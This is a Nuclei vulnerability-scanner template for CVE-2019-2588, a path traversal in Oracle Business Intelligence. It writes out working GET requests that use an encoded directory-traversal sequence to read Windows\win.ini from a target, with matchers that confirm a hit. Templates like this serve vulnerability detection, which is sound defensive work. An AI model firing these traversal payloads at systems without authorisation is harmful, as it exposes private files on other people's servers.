nuclei-templates/cves/CVE-2019-2588.yaml

21 lines
701 B
YAML

id: CVE-2019-2588
info:
name: Oracle Business Intelligence Path Traversal
author: madrobot
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
- "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
matchers-condition: and
matchers:
- type: word
words:
- 'for 16-bit app support'
- type: status
status:
- 200